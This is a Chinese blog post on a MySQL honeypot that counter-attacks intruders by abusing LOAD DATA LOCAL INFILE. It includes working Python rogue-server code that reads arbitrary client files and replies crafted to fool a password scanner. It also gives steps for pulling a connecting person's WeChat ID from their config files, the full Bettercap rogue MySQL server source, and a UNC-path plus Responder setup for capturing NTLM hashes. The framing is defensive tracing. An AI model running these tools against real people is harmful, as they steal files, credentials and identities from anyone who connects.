您当前的位置:首页 > 电脑百科 > 数据库 > MYSQL

溯源反制之MySQL蜜罐研究

时间:2021-01-07 10:35:35  来源:  作者:

前言

前不久,零队发了一篇《MySQL蜜罐获取攻击者微信ID》的文章,文章讲述了如何通过load data local infile进行攻击者微信ID的抓取,学习的过程中发现虽然问题是一个比较老的问题,但是扩展出来的很多知识都比较有意思,记录一下。

分析过程

LOAD DATA INFILE

在MySQL中LOAD DATA INFILE 语句以非常高的速度从文本文件中读取行到表中,基本语法如下:

load data  [low_priority] [local] infile 'file_name txt' [replace | ignore]
into table tbl_name
[fields
[terminated by't']
[OPTIONALLY] enclosed by '']
[escaped by'' ]]
[lines terminated by'n']
[ignore number lines]
[(col_name,   )]

这个功能默认是关闭的,当我们没有开启这个功能时执行LOAD DATA INFILE报错如下:

> 1148 - The used command is not allowed with this MySQL version

我们可以通过如下命令查看功能状态。

show global variables like 'local_infile';
溯源反制之MySQL蜜罐研究

 

我们可以通过如下命令开启该功能。

set global local_infile=1;

开启之后我们就可以通过如下命令进行文件读取并且写入到表中,我们以C:1.txt为例,将其中内容写入到test表中,并且以n为分隔符。

load data local infile 'C:/1.txt' into table test fields terminated by 'n';

这样我们就可以读取客户端本地的文件,并写入到表中。

溯源反制之MySQL蜜罐研究

 

通信过程

接下来我们通过Wireshark抓取过程中的流量分析一下通信过程。

首先是Greeting包,返回了服务端的Version等信息。

溯源反制之MySQL蜜罐研究

 

接下来客户端发送登录请求。

溯源反制之MySQL蜜罐研究

 

接下来客户端发送了如下请求:

SET NAMES utf8mb4SET NAMES utf8mb4
溯源反制之MySQL蜜罐研究

 

接下来我们执行我们的payload

load data local infile 'C:/1.txt' into table test fields terminated by 'n';

首先客户端发起请求;

溯源反制之MySQL蜜罐研究

 

之后服务端会回复一个Response TABULAR,其中包含请求文件名的包;

溯源反制之MySQL蜜罐研究

 

这里数据包我们要注意的地方如下:

溯源反制之MySQL蜜罐研究

 

如上图,数据包中内容如下:

09 00 00 01 fb 43 3a 2f 31 2e 74 78 74

这里的09指的是从fb开始十六进制的数据包中文件名的长度,00 00 01值得是数据包的序号,fb是包的类型,43 4a 2f 31 2e 74 78 74指的是文件名,接下来客户端向服务端发送文件内容的数据包。

溯源反制之MySQL蜜罐研究

 

任意文件读取过程

在MySQL协议中,客户端本身不存储自身的请求,而是通过服务端的响应来执行操作,也就是说我们如果可以伪造Greeting包和伪造的文件名对应的数据包,我们就可以让攻击者的客户端给我们把我们想要的文件拿过来,过程大致如下,首先我们将Greeting包发送给要连接的客户端,这样如果客户端发送查询之后,我们返回一个Response TABULAR数据包,并且附上我们指定的文件,我们也就完成了整个任意文件读取的过程,接下来就是构造两个包的过程,首先是Greeting包,这里引用lightless师傅博客中的一个样例。

'x0a',  # Protocol
'6.6.6-lightless_Mysql_Server' + '',  # Version
'x36x00x00x00',  # Thread ID
'ABCDABCD' + '',  # Salt
'xffxf7',  # Capabilities, CLOSE SSL HERE!
'x08',  # Collation
'x02x00',  # Server Status
"x0fx80x15", 
'' * 10,  # Unknown
'ABCDABCD' + '',
"mysql_native_password" + ""

根据以上样例,我们就可以方便的构造Greeting包了,当然,这里我们也可以直接利用上面我们Wireshark抓取到的Greeting包,接下来就是Response TABULAR包了,包的格式上面我们分析过了,我们可以直接构造如下Paylod

chr(len(filename) + 1) + "x00x00x01xFB" + filename

我们就可以对客户端的指定文件进行读取了,这里我们还缺少一个条件,RUSSIANSECURITY在博客中也提及过如下内容。

For successfully exploitation you need at least one query to server. Fortunately most of mysql clients makes at least one query like ‘*SET names “utf8”* or something.

这是因为我们传输这个文件读取的数据包时,需要等待一个来自客户端的查询请求才能回复这个读文件的请求,也就是我们现在还需要一个来自客户端的查询请求,幸运的是,通过我们上面的分析我们可以看到,形如Navicat等客户端进行连接的时候,会自动发送如下查询请求。

SET NAMES utf8mb4

从查阅资料来看,大多数MySQL客户端以及程序库都会在握手之后至少发送一次请求,以探测目标平台的指纹信息,例如:

select @@version_comment limit 1

这样我们的利用条件也就满足了,综上,我们可以恶意模拟一个MySQL服务端的身份认证过程,之后等待客户端发起一个SQL查询,之后响应的时候我们将我们构造的Response TABULAR发送给客户端,也就是我们LOAD DATA INFILE的请求,这样客户端根据响应内容执行上传本机文件的操作,我们也就获得了攻击者的文件信息,整体流程图示如下:

溯源反制之MySQL蜜罐研究

 

我们可以用Python来简单模拟一下这个过程:

import socket


serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 


port = 3306
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)


while True:
    # 建立客户端连接
    clientsocket,addr = serversocket.accept()      


    print("连接地址: %s" % str(addr))
    # 返回版本信息
    version_text = b"x4ax00x00x00x0ax38x2ex30x2ex31x32x00x08x00x00x00x2ax51x47x38x48x17x12x21x00xffxffxc0x02x00xffxc3x15x00x00x00x00x00x00x00x00x00x00x7ax6fx6ex25x61x3ex48x31x25x43x2bx61x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"
    clientsocket.sendall(version_text)
    try:
        # 客户端请求信息
        clientsocket.recv(9999)
    except Exception as e:
        print(e)
    # Response OK
    verification = b"x07x00x00x02x00x00x00x02x00x00x00"
    clientsocket.sendall(verification)
    try:
        # SET NAMES utf8mb4
        clientsocket.recv(9999)
    except Exception as e:
        print(e)
    # Response TABULAR
    evil_response = b"x09x00x00x01xfbx43x3ax2fx31x2ex74x78x74"
    clientsocket.sendall(evil_response)
    # file_text
    print(clientsocket.recv(9999))
    clientsocket.close()
溯源反制之MySQL蜜罐研究

 

我们可以看到,当攻击者链接我们构造的蜜罐时,我们成功抓取到了攻击者C:/1.txt文件中的内容,接下来就是对任意文件的构造,我们上面也分析了Response TABULAR数据包的格式,因此我们只需要对我们的文件名进行构造即可,这里不再赘述。

chr(len(filename) + 1) + "x00x00x01xFB" + filename

欺骗扫描器

接下来一个主要问题就是让攻击者的扫描器发现我们是弱口令才行,这样他才有可能连接,所以还需要分析一下扫描器的通信过程,这里以SNETCracker为例。

溯源反制之MySQL蜜罐研究

 

首先还是分析通信过程,首先还是Greeting包,返回版本信息等。

溯源反制之MySQL蜜罐研究

 

之后客户端向服务端发送请求登录的数据包。

溯源反制之MySQL蜜罐研究

 

接下来服务端向客户端返回验证成功的数据包。

溯源反制之MySQL蜜罐研究

 

从上面流程上来说,其实检查口令的部分已经结束了,但是这个软件本身还进行了下面的进一步判断,当下面判断条件也成立时,才会认为成功爆破了MySQL,接下来查看系统变量以及相应的值。

SHOW VARIABLES
溯源反制之MySQL蜜罐研究

 

服务端返回响应包后,继续查看警告信息。

SHOW WARNINGS
溯源反制之MySQL蜜罐研究

 

服务端返回响应包后,继续查看所有排列字符集。

SHOW COLLATION
溯源反制之MySQL蜜罐研究

 

到这里,如果我们伪造的蜜罐都可以返回相应的响应包,这时候SNETCracker就可以判断弱口令存在,并正常识别了,我们使用Python模拟一下整个过程。

import socket


serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 


port = 3306
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)




# 建立客户端连接
clientsocket,addr = serversocket.accept()      


print("连接地址: %s" % str(addr))
# 返回版本信息
version_text = b"x4ax00x00x00x0ax38x2ex30x2ex31x32x00x08x00x00x00x34x58x29x37x38x2fx6dx20x00xffxffxc0x02x00xffxc3x15x00x00x00x00x00x00x00x00x00x00x16x1fx07x48x54x56x3fx1ex15x2ax58x59x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"
clientsocket.sendall(version_text)
print(clientsocket.recv(9999))
verification = b"x07x00x00x02x00x00x00x02x00x00x00"
clientsocket.sendall(verification)
print(clientsocket.recv(9999))
show_variables = b'太长了,已经省略'
clientsocket.sendall(show_variables)
print(clientsocket.recv(9999))
show_warnings = b"x01x00x00x01x03x1bx00x00x02x03x64x65x66x00x00x00x05x4cx65x76x65x6cx00x0cx08x00x07x00x00x00xfdx01x00x1fx00x00x1ax00x00x03x03x64x65x66x00x00x00x04x43x6fx64x65x00x0cx3fx00x04x00x00x00x03xa1x00x00x00x00x1dx00x00x04x03x64x65x66x00x00x00x07x4dx65x73x73x61x67x65x00x0cx08x00x00x02x00x00xfdx01x00x1fx00x00x05x00x00x05xfex00x00x02x00x68x00x00x06x07x57x61x72x6ex69x6ex67x04x31x33x36x36x5ax49x6ex63x6fx72x72x65x63x74x20x73x74x72x69x6ex67x20x76x61x6cx75x65x3ax20x27x5cx78x44x36x5cx78x44x30x5cx78x42x39x5cx78x46x41x5cx78x42x31x5cx78x45x41x2ex2ex2ex27x20x66x6fx72x20x63x6fx6cx75x6dx6ex20x27x56x41x52x49x41x42x4cx45x5fx56x41x4cx55x45x27x20x61x74x20x72x6fx77x20x31x05x00x00x07xfex00x00x02x00"
clientsocket.sendall(show_warnings)
print(clientsocket.recv(9999))
show_collation = b'太长了,已经省略'
clientsocket.sendall(show_collation)
print(clientsocket.recv(9999))
溯源反制之MySQL蜜罐研究

 


溯源反制之MySQL蜜罐研究

 

至此我们欺骗扫描器的过程已经结束,攻击者已经可以“快速”的扫描到我们的蜜罐了,只要他进行连接,我们就可以按照上面的方法来读取他电脑上的文件了。

获取微信

如果我们想进行溯源,就需要获取一些能证明攻击者身份信息的文件,而且这些文件需要位置类型固定,从而我们能方便的进行获取,从而进行进一步的调查反制。

alexo0师傅在文章中提到过关于微信的抓取:

windows下,微信默认的配置文件放在C:UsersusernameDocumentsWeChat Files中,在里面翻翻能够发现 C:UsersusernameDocumentsWeChat FilesAll Usersconfigconfig.data 中含有微信ID,而获取这个文件还需要一个条件,那就是要知道攻击者的电脑用户名,用户名一般有可能出现在一些日志文件里,我们需要寻找一些比较通用、文件名固定的文件。经过测试,发现一般用过一段时间的电脑在 C:WindowsPFRO.log 中较大几率能找到用户名。

溯源反制之MySQL蜜罐研究

 


溯源反制之MySQL蜜罐研究

 

通过以上条件我们就能获得攻击者的wxid了,接下来就是如何将wxid转换为二维码方便我们扫描,通过资料得知方法如下:

weixin://contacts/profile/{wxid}

将相应wxid填入上述字符串后,再对字符串转换成二维码,之后使用Android/ target=_blank class=infotextkey>安卓端微信进行扫码即可,可以使用如下函数进行二维码生成:

import qrcode
from PIL import Image
import os


# 生成二维码图片
# 参数为wxid和二维码要保存的文件名
def make_qr(str,save):
    qr=qrcode.QRCode(
        version=4,  #生成二维码尺寸的大小 1-40  1:21*21(21+(n-1)*4)
        error_correction=qrcode.constants.ERROR_CORRECT_M, #L:7% M:15% Q:25% H:30%
        box_size=10, #每个格子的像素大小
        border=2, #边框的格子宽度大小
    )
    qr.add_data(str)
    qr.make(fit=True)


    img=qr.make_image()
    img.save(save)


# 读取到的wxid
wxid = ''
qr_id = 'weixin://contacts/profile/' + wxid
make_qr(qr_id,'demo.jpg')

这样,我们组合上面的过程,就可以通过正则首先获得用户username

re.findall( r'.*C:\Users\(.*?)\AppData\Local\.*', result)

之后再将获得的username进行拼接,获取到攻击者的微信配置文件:

C:Users{username}DocumentsWeChat FilesAll Usersconfigconfig.data

最后再正则获得其中的wxid,并且利用上述函数转换为二维码即可,这样当攻击者扫描到我们的蜜罐之后,进行连接,我们就可以抓取到攻击者的wxid,并生成二维码了。

溯源反制之MySQL蜜罐研究

 


溯源反制之MySQL蜜罐研究

 

至此,我们构建的蜜罐已经将攻击者的微信给我们带回来了。

NTLM HASH

我们知道,NTLM认证采用质询/应答的消息交换模式,流程如下:

  1. 客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash;
  2. 服务器接收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge,获得Challenge1;
  3. 客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器;
  4. 服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功。

在以上流程中,登录用户的密码hash即NTLM hash,response中包含Net-NTLM hash,而对于SMB协议来说,客户端连接服务端的时候,会优先使用本机的用户名和密码hash来进行登录尝试,而INFILE又支持UNC路径,组合这两点我们就能通过构造一个恶意的MySQL服务器,Bettercap本身已经集成了一个恶意MySQL服务器,代码如下:

package mysql_server


import (
  "bufio"
  "bytes"
  "fmt"
  "io/ioutil"
  "net"
  "strings"


  "github.com/bettercap/bettercap/packets"
  "github.com/bettercap/bettercap/session"


  "github.com/evilsocket/islazy/tui"
)


type MySQLServer struct {
  session.SessionModule
  address  *net.TCPAddr
  listener *net.TCPListener
  infile   string
  outfile  string
}


func NewMySQLServer(s *session.Session) *MySQLServer {
  mod := &MySQLServer{
    SessionModule: session.NewSessionModule("mysql.server", s),
  }


  mod.AddParam(session.NewStringParameter("mysql.server.infile",
    "/etc/passwd",
    "",
    "File you want to read. UNC paths are also supported."))


  mod.AddParam(session.NewStringParameter("mysql.server.outfile",
    "",
    "",
    "If filled, the INFILE buffer will be saved to this path instead of being logged."))


  mod.AddParam(session.NewStringParameter("mysql.server.address",
    session.ParamIfaceAddress,
    session.IPv4Validator,
    "Address to bind the mysql server to."))


  mod.AddParam(session.NewIntParameter("mysql.server.port",
    "3306",
    "Port to bind the mysql server to."))


  mod.AddHandler(session.NewModuleHandler("mysql.server on", "",
    "Start mysql server.",
    func(args []string) error {
      return mod.Start()
    }))


  mod.AddHandler(session.NewModuleHandler("mysql.server off", "",
    "Stop mysql server.",
    func(args []string) error {
      return mod.Stop()
    }))


  return mod
}


func (mod *MySQLServer) Name() string {
  return "mysql.server"
}


func (mod *MySQLServer) Description() string {
  return "A simple Rogue MySQL server, to be used to exploit LOCAL INFILE and read arbitrary files from the client."
}


func (mod *MySQLServer) Author() string {
  return "Bernardo Rodrigues (https://twitter.com/bernardomr)"
}


func (mod *MySQLServer) Configure() error {
  var err error
  var address string
  var port int


  if mod.Running() {
    return session.ErrAlreadyStarted(mod.Name())
  } else if err, mod.infile = mod.StringParam("mysql.server.infile"); err != nil {
    return err
  } else if err, mod.outfile = mod.StringParam("mysql.server.outfile"); err != nil {
    return err
  } else if err, address = mod.StringParam("mysql.server.address"); err != nil {
    return err
  } else if err, port = mod.IntParam("mysql.server.port"); err != nil {
    return err
  } else if mod.address, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil {
    return err
  } else if mod.listener, err = net.ListenTCP("tcp", mod.address); err != nil {
    return err
  }
  return nil
}


func (mod *MySQLServer) Start() error {
  if err := mod.Configure(); err != nil {
    return err
  }


  return mod.SetRunning(true, func() {
    mod.Info("server starting on address %s", mod.address)
    for mod.Running() {
      if conn, err := mod.listener.AcceptTCP(); err != nil {
        mod.Warning("error while accepting tcp connection: %s", err)
        continue
      } else {
        defer conn.Close()


        // TODO: include binary support and files > 16kb
        clientAddress := strings.Split(conn.RemoteAddr().String(), ":")[0]
        readBuffer := make([]byte, 16384)
        reader := bufio.NewReader(conn)
        read := 0


        mod.Info("connection from %s", clientAddress)


        if _, err := conn.Write(packets.MySQLGreeting); err != nil {
          mod.Warning("error while writing server greeting: %s", err)
          continue
        } else if _, err = reader.Read(readBuffer); err != nil {
          mod.Warning("error while reading client message: %s", err)
          continue
        }


        // parse client capabilities and validate connection
        // TODO: parse mysql connections properly and
        //       display additional connection attributes
        capabilities := fmt.Sprintf("%08b", (int(uint32(readBuffer[4]) | uint32(readBuffer[5])<<8)))
        loadData := string(capabilities[8])
        username := string(bytes.Split(readBuffer[36:], []byte{0})[0])


        mod.Info("can use LOAD DATA LOCAL: %s", loadData)
        mod.Info("login request username: %s", tui.Bold(username))


        if _, err := conn.Write(packets.MySQLFirstResponseoK); err != nil {
          mod.Warning("error while writing server first response ok: %s", err)
          continue
        } else if _, err := reader.Read(readBuffer); err != nil {
          mod.Warning("error while reading client message: %s", err)
          continue
        } else if _, err := conn.Write(packets.MySQLGetFile(mod.infile)); err != nil {
          mod.Warning("error while writing server get file request: %s", err)
          continue
        } else if read, err = reader.Read(readBuffer); err != nil {
          mod.Warning("error while readind buffer: %s", err)
          continue
        }


        if strings.HasPrefix(mod.infile, "\") {
          mod.Info("NTLM from '%s' relayed to %s", clientAddress, mod.infile)
        } else if fileSize := read - 9; fileSize < 4 {
          mod.Warning("unexpected buffer size %d", read)
        } else {
          mod.Info("read file ( %s ) is %d bytes", mod.infile, fileSize)


          fileData := readBuffer[4 : read-4]


          if mod.outfile == "" {
            mod.Info("n%s", string(fileData))
          } else {
            mod.Info("saving to %s ...", mod.outfile)
            if err := ioutil.WriteFile(mod.outfile, fileData, 0755); err != nil {
              mod.Warning("error while saving the file: %s", err)
            }
          }
        }


        conn.Write(packets.MySQLSecondResponseOK)
      }
    }
  })
}


func (mod *MySQLServer) Stop() error {
  return mod.SetRunning(false, func() {
    defer mod.listener.Close()
  })
}

通过查阅文档,我们可以看到相关参数的设置如下:

溯源反制之MySQL蜜罐研究

 

我们这里将我们的mysql.server.infile设置成UNC路径。

set mysql.server.infile \192.168.165.128test; mysql.server on

并且通过responder进行监听。

responder --interface eth0 -i 192.168.231.153
溯源反制之MySQL蜜罐研究

 

当攻击者使用客户端连接我们的恶意服务器时,

溯源反制之MySQL蜜罐研究

 

我们就成功的截获了NTLM的相关信息。

溯源反制之MySQL蜜罐研究


Tags:MySQL   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
作者:雷文霆 爱可生华东交付服务部 DBA 成员,主要负责Mysql故障处理及相关技术支持。爱好看书,电影。座右铭,每一个不曾起舞的日子,都是对生命的辜负。 本文来源:原创投稿 *爱可生...【详细内容】
2021-12-24  Tags: MySQL  点击:(6)  评论:(0)  加入收藏
一、为什么要搭建主从架构呢1.数据安全,可以进行数据的备份。2.读写分离,大部分的业务系统来说都是读数据多,写数据少,当访问压力过大时,可以把读请求给到从服务器。从而缓解数据...【详细内容】
2021-12-15  Tags: MySQL  点击:(10)  评论:(0)  加入收藏
生成间隙(gap)锁、临键(next-key)锁的前提条件 是在 RR 隔离级别下。有关Mysql记录锁、间隙(gap)锁、临键锁(next-key)锁的一些理论知识之前有写过,详细内容可以看这篇文章...【详细内容】
2021-12-14  Tags: MySQL  点击:(17)  评论:(0)  加入收藏
binlog 基本认识 MySQL的二进制日志可以说是MySQL最重要的日志了,它记录了所有的DDL和DML(除了数据查询语句)语句,以事件形式记录,还包含语句所执行的消耗的时间,MySQL的二...【详细内容】
2021-12-14  Tags: MySQL  点击:(13)  评论:(0)  加入收藏
为查询优化你的查询 大多数的MySQL服务器都开启了查询缓存。这是提高性最有效的方法之一,而且这是被MySQL的数据库引擎处理的。当有很多相同的查询被执行了多次的时候,这些查...【详细内容】
2021-12-09  Tags: MySQL  点击:(15)  评论:(0)  加入收藏
测试的目的和原因,公司有很多程序员,每个程序员对数据库和表结构都有自己的理解。而且每个程序员的理解往往是以效率考虑。既然都是为了效率考虑,那么我就来测试一下究竟哪种使...【详细内容】
2021-12-08  Tags: MySQL  点击:(14)  评论:(0)  加入收藏
当你们考虑项目并发的时候,我在部署环境,当你们在纠结使用ArrayList还是LinkedArrayList的时候,我还是在部署环境。所以啊,技术不止境,我在部环境。今天这篇文章缕一下在同一台服...【详细内容】
2021-12-08  Tags: MySQL  点击:(16)  评论:(0)  加入收藏
对于数据分析来说,MySQL使用最多的是查询,比如对数据进行排序、分组、去重、汇总及字符串匹配等,如果查询的数据涉及多个表,还需要要对表进行连接,本文就来说说MySQL中常用的查询...【详细内容】
2021-12-06  Tags: MySQL  点击:(19)  评论:(0)  加入收藏
在学习SQL语句之前,首先需要区分几个概念,我们常说的数据库是指数据库软件,例如MySQL、Oracle、SQL Server等,而本文提到的数据库是指数据库软件中的一个个用于存储数据的容器。...【详细内容】
2021-11-24  Tags: MySQL  点击:(23)  评论:(0)  加入收藏
概述以前参加过一个库存系统,由于其业务复杂性,搞了很多个应用来支撑。这样的话一份库存数据就有可能同时有多个应用来修改库存数据。比如说,有定时任务域xx.cron,和SystemA域...【详细内容】
2021-11-05  Tags: MySQL  点击:(31)  评论:(0)  加入收藏
▌简易百科推荐
作者:雷文霆 爱可生华东交付服务部 DBA 成员,主要负责Mysql故障处理及相关技术支持。爱好看书,电影。座右铭,每一个不曾起舞的日子,都是对生命的辜负。 本文来源:原创投稿 *爱可生...【详细内容】
2021-12-24  爱可生    Tags:MySQL   点击:(6)  评论:(0)  加入收藏
生成间隙(gap)锁、临键(next-key)锁的前提条件 是在 RR 隔离级别下。有关Mysql记录锁、间隙(gap)锁、临键锁(next-key)锁的一些理论知识之前有写过,详细内容可以看这篇文章...【详细内容】
2021-12-14  python数据分析    Tags:MySQL记录锁   点击:(17)  评论:(0)  加入收藏
binlog 基本认识 MySQL的二进制日志可以说是MySQL最重要的日志了,它记录了所有的DDL和DML(除了数据查询语句)语句,以事件形式记录,还包含语句所执行的消耗的时间,MySQL的二...【详细内容】
2021-12-14  linux上的码农    Tags:mysql   点击:(13)  评论:(0)  加入收藏
为查询优化你的查询 大多数的MySQL服务器都开启了查询缓存。这是提高性最有效的方法之一,而且这是被MySQL的数据库引擎处理的。当有很多相同的查询被执行了多次的时候,这些查...【详细内容】
2021-12-09  元宇宙iwemeta    Tags:mysql   点击:(15)  评论:(0)  加入收藏
测试的目的和原因,公司有很多程序员,每个程序员对数据库和表结构都有自己的理解。而且每个程序员的理解往往是以效率考虑。既然都是为了效率考虑,那么我就来测试一下究竟哪种使...【详细内容】
2021-12-08  吴彬的分享    Tags:Mysql数据库   点击:(14)  评论:(0)  加入收藏
当你们考虑项目并发的时候,我在部署环境,当你们在纠结使用ArrayList还是LinkedArrayList的时候,我还是在部署环境。所以啊,技术不止境,我在部环境。今天这篇文章缕一下在同一台服...【详细内容】
2021-12-08  秃头码哥    Tags:MySQL数据库   点击:(16)  评论:(0)  加入收藏
对于数据分析来说,MySQL使用最多的是查询,比如对数据进行排序、分组、去重、汇总及字符串匹配等,如果查询的数据涉及多个表,还需要要对表进行连接,本文就来说说MySQL中常用的查询...【详细内容】
2021-12-06  笨鸟学数据分析    Tags:MySQL   点击:(19)  评论:(0)  加入收藏
在学习SQL语句之前,首先需要区分几个概念,我们常说的数据库是指数据库软件,例如MySQL、Oracle、SQL Server等,而本文提到的数据库是指数据库软件中的一个个用于存储数据的容器。...【详细内容】
2021-11-24  笨鸟学数据分析    Tags:SQL语句   点击:(23)  评论:(0)  加入收藏
概述以前参加过一个库存系统,由于其业务复杂性,搞了很多个应用来支撑。这样的话一份库存数据就有可能同时有多个应用来修改库存数据。比如说,有定时任务域xx.cron,和SystemA域...【详细内容】
2021-11-05  Java云海    Tags:分布式锁   点击:(31)  评论:(0)  加入收藏
MySQL的进阶查询 一、 按关键字排序 使用ORDERBY语句来实现排序排序可针对一个或多个字段ASC:升序,默认排序方式 【升序是从小到大】DESC:降序 【降序是从大到小】ORDER BY的...【详细内容】
2021-11-05  Java热点    Tags:SQL语句   点击:(27)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条